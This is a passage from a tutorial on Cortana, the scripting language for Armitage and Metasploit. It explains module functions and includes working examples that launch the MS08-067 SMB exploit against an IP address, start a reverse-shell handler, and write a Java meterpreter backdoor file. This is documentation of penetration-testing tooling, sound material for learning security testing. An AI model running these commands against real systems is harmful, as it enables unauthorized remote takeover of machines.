Cortana Tutorial - Armitage

The &modules function returns an array of modules of a particular type. This function also
filters the list using a wildcard expression if you ask it to.
Use the &options function to find the options associated with a particular module. The
&info function provides extra information about a module.
To launch a module (any module), use the &launch function. The following code launches
the ms08_067_netapi module:
launch("exploit", "windows/smb/ms08_067_netapi", %(
RHOST => "192.168.95.166",
PAYLOAD => "windows/meterpreter/bind_tcp"));
The &launch function doesn't provide much help though. It launches a module of a
particular type with the options you give it.
Use &exploit to quickly launch an exploit module. This function will set a payload for you
and take care of all the details. While there are several optional arguments, you may use
&exploit with just two arguments to launch a fully configured exploit at a host.
exploit("windows/smb/ms08_067_netapi", "192.168.95.166");
Use the &handler function to quickly start a multi/handler for a payload. A multi/handler
waits for a payload to connect to it. The following example starts a multi/handler for
java/meterpreter/reverse_tcp on port 81.
handler("java/meterpreter/reverse_tcp", 81);
Use the &generate function to generate a payload suitable for saving to a file. This example
generates a Java meterpreter file and saves it to backdoor.jar. This file connects to the
multi/handler we created in the previous example.
$backdoor = generate("java/meterpreter/reverse_tcp", lhost(), 81,
%(), "raw");
$handle = openf(">backdoor.jar");
writeb($handle, $backdoor);
closef($handle);
The &lhost function returns the IP address of the system hosting the Metasploit
Framework.
Data Management
One of the gaps in the Metasploit API is a lack of documented methods to communicate
with the database. Metasploit stores hosts, services, credentials, and a wealth of other data
points in a database. Cortana transparently connects to the Metasploit database and
regularly polls the known sessions, routes, hosts, services, loots, and credentials.
14